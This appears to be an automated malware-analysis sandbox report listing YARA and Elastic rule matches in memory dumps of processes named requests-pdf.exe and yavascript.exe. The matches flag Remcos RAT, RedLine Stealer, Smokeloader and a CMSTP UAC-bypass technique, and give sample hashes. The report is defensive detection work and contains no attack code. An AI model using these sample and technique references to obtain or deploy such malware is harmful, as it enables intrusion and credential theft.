              Source: 15.2.yavascript.exe.24f0e67.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 15.2.yavascript.exe.24f0e67.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 0.2.requests-pdf.exe.24d0e67.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 0.2.requests-pdf.exe.24d0e67.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 0.2.requests-pdf.exe.24d0e67.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 25.2.yavascript.exe.24e0e67.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 25.2.yavascript.exe.24e0e67.1.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 25.2.yavascript.exe.24e0e67.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 15.2.yavascript.exe.24f0e67.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 15.2.yavascript.exe.24f0e67.1.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 15.2.yavascript.exe.24f0e67.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 25.2.yavascript.exe.24e0e67.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 25.2.yavascript.exe.24e0e67.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 25.2.yavascript.exe.24e0e67.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 15.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 15.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 15.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 15.3.yavascript.exe.2570000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 15.3.yavascript.exe.2570000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 15.3.yavascript.exe.2570000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 25.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 25.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 25.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 25.3.yavascript.exe.2560000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 25.3.yavascript.exe.2560000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 25.3.yavascript.exe.2560000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 0.2.requests-pdf.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 0.2.requests-pdf.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 0.2.requests-pdf.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 25.3.yavascript.exe.2560000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 25.3.yavascript.exe.2560000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 25.3.yavascript.exe.2560000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 15.3.yavascript.exe.2570000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 15.3.yavascript.exe.2570000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 15.3.yavascript.exe.2570000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 00000019.00000002.2407748193.0000000000AFC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
              Source: 0000000F.00000002.4542269098.0000000000AB8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
              Source: 00000000.00000002.2432620205.0000000000A4A000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
              Source: 00000019.00000002.2407819999.00000000024E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 00000019.00000002.2407819999.00000000024E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
              Source: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 00000019.00000003.2221778129.0000000002560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 00000019.00000003.2221778129.0000000002560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 00000019.00000003.2221778129.0000000002560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 00000000.00000003.2083308143.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 00000000.00000003.2083308143.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 00000000.00000003.2083308143.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
              Source: 0000000F.00000002.4542513379.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 0000000F.00000002.4542513379.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
              Source: 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 0000000F.00000003.2162840735.0000000002570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 0000000F.00000003.2162840735.0000000002570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 0000000F.00000003.2162840735.0000000002570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 00000019.00000002.2407471164.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 00000019.00000002.2407471164.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 00000019.00000002.2407471164.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: Process Memory Space: requests-pdf.exe PID: 7268, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: Process Memory Space: yavascript.exe PID: 7780, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: Process Memory Space: yavascript.exe PID: 8172, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
